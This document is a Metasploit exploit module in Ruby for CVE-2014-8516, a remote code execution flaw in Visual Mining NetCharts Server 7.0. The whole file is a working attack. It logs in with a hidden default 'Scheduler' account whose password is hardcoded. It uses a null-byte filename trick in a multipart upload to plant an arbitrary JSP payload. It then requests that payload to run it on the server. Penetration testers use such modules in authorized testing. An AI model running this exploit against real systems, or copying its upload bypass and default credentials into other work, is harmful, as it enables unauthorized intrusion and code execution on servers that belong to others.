##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  DEFAULT_USERNAME = 'Scheduler'
  DEFAULT_PASSWORD = '!@#$scheduler$#@!'
  SIGNATURE = 'was uploaded successfully and is now ready for installation'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
        'Description' => %q{
          This module exploits multiple vulnerabilities in Visual Mining NetCharts.
          First, a lack of input validation in the administration console permits
          arbitrary jsp code upload to locations accessible later through the web
          service. Authentication is typically required, however a 'hidden' user is
          available by default (and non-editable). This user, named 'Scheduler',
          can only login to the console after any modification in the user
          database (a user is added, admin password is changed etc). If the
          'Scheduler' user isn't available valid credentials must be supplied. The
          default Admin password is Admin.
        },
        'Author' => [
          'sghctoma', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-8516'],
          ['ZDI', '14-372']
        ],
        'Privileged' => true,
        'Platform' => %w{linux win},
        'Arch' => ARCH_JAVA,
        'Targets' => [
          ['Visual Mining NetCharts Server 7.0', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-11-03',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8001),
        OptString.new('HttpUsername', [false, "The username to authenticate with"]),
        OptString.new('HttpPassword', [false, "The password to authenticate with"])
      ]
    )
  end

  def post_auth?
    true
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
      'vars_get' => { 'mode' => 'getZip' },
      'authorization' => basic_auth(username, password)
    })

    if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
      Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    jsp_payload = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
    print_status("Uploading JSP payload #{jsp_payload}...")
    if upload(jsp_payload, payload.encoded)
      print_good("JSP payload uploaded successfully")
      register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
    else
      fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
    end

    print_status("Executing payload...")
    execute(jsp_payload, 1)
  end

  def execute(jsp_name, time_out = 20)
    res = send_request_cgi({
      'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
      'method' => 'GET',
      'authorization' => basic_auth(username, password)
    }, time_out)

    res
  end

  def upload(file_name, contents)
    post_data = Rex::MIME::Message.new
    post_data.add_part(
      contents,
      'application/octet-stream',
      nil,
      "form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
    )

    res = send_request_cgi({
      'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
      'method' => 'GET',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'vars_get' => { 'mode' => 'getZip' },
      'authorization' => basic_auth(username, password)
    })

    if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
      true
    else
      false
    end
  end

  def username
    datastore['HttpUsername'].blank? ? DEFAULT_USERNAME : datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword'].blank? ? DEFAULT_PASSWORD : datastore['HttpPassword']
  end
end
